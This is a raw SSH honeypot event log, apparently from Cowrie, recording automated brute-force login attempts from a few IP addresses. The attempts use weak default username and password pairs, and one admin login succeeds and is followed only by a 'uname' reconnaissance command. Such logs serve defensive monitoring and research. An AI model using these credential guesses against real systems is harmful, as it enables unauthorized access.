{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:59.529735Z","src_ip":"45.153.34.114","session":"f16396bb875e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:59.794321Z","src_ip":"45.153.34.114","session":"f16396bb875e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:00.892605Z","src_ip":"45.153.34.114","session":"f16396bb875e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":42526,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed5752ccf917","protocol":"ssh","message":"New connection: 103.75.199.4:42526 (159.203.135.109:22) [session: ed5752ccf917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:05.136180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:05.142193Z","src_ip":"103.75.199.4","session":"ed5752ccf917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:05.234074Z","src_ip":"103.75.199.4","session":"ed5752ccf917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:05.509270Z","src_ip":"103.75.199.4","session":"ed5752ccf917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:06.602946Z","src_ip":"103.75.199.4","session":"ed5752ccf917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38458,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7742ecf9f82","protocol":"ssh","message":"New connection: 45.153.34.114:38458 (159.203.135.109:22) [session: c7742ecf9f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:07.588381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:07.597630Z","src_ip":"45.153.34.114","session":"c7742ecf9f82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:07.672955Z","src_ip":"45.153.34.114","session":"c7742ecf9f82","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:08.127439Z","src_ip":"45.153.34.114","session":"c7742ecf9f82","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:08.361060Z","src_ip":"45.153.34.114","session":"c7742ecf9f82","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:08.364887Z","src_ip":"45.153.34.114","session":"c7742ecf9f82","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:08.454986Z","src_ip":"45.153.34.114","session":"c7742ecf9f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:08.460467Z","src_ip":"45.153.34.114","session":"c7742ecf9f82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":54990,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebc512dba186","protocol":"ssh","message":"New connection: 20.203.42.204:54990 (159.203.135.109:22) [session: ebc512dba186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:10.725651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:10.730544Z","src_ip":"20.203.42.204","session":"ebc512dba186","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:10.911253Z","src_ip":"20.203.42.204","session":"ebc512dba186","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iamthewalrus","message":"login attempt [root/iamthewalrus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:11.667905Z","src_ip":"20.203.42.204","session":"ebc512dba186","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:12.852838Z","src_ip":"20.203.42.204","session":"ebc512dba186","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33302,"dst_ip":"159.203.135.109","dst_port":22,"session":"d682a751fed4","protocol":"ssh","message":"New connection: 45.153.34.114:33302 (159.203.135.109:22) [session: d682a751fed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:15.521185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:15.529220Z","src_ip":"45.153.34.114","session":"d682a751fed4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:15.619037Z","src_ip":"45.153.34.114","session":"d682a751fed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:15.893513Z","src_ip":"45.153.34.114","session":"d682a751fed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:17.013326Z","src_ip":"45.153.34.114","session":"d682a751fed4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60428,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb1559903334","protocol":"ssh","message":"New connection: 45.153.34.114:60428 (159.203.135.109:22) [session: cb1559903334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:23.483974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:23.489676Z","src_ip":"45.153.34.114","session":"cb1559903334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:23.573022Z","src_ip":"45.153.34.114","session":"cb1559903334","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:23.918314Z","src_ip":"45.153.34.114","session":"cb1559903334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:25.007301Z","src_ip":"45.153.34.114","session":"cb1559903334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":33964,"dst_ip":"159.203.135.109","dst_port":22,"session":"03ca7d44f67d","protocol":"ssh","message":"New connection: 103.75.199.4:33964 (159.203.135.109:22) [session: 03ca7d44f67d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:26.942830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:26.946985Z","src_ip":"103.75.199.4","session":"03ca7d44f67d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:27.040933Z","src_ip":"103.75.199.4","session":"03ca7d44f67d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:27.313875Z","src_ip":"103.75.199.4","session":"03ca7d44f67d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:28.407499Z","src_ip":"103.75.199.4","session":"03ca7d44f67d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46216,"dst_ip":"159.203.135.109","dst_port":22,"session":"34bbc994a281","protocol":"ssh","message":"New connection: 45.153.34.114:46216 (159.203.135.109:22) [session: 34bbc994a281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:31.777444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:31.782073Z","src_ip":"45.153.34.114","session":"34bbc994a281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:31.864759Z","src_ip":"45.153.34.114","session":"34bbc994a281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:32.138385Z","src_ip":"45.153.34.114","session":"34bbc994a281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:33.312138Z","src_ip":"45.153.34.114","session":"34bbc994a281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38886,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd1741487d60","protocol":"ssh","message":"New connection: 45.153.34.114:38886 (159.203.135.109:22) [session: dd1741487d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:40.259880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:40.265180Z","src_ip":"45.153.34.114","session":"dd1741487d60","protocol":"ssh"}
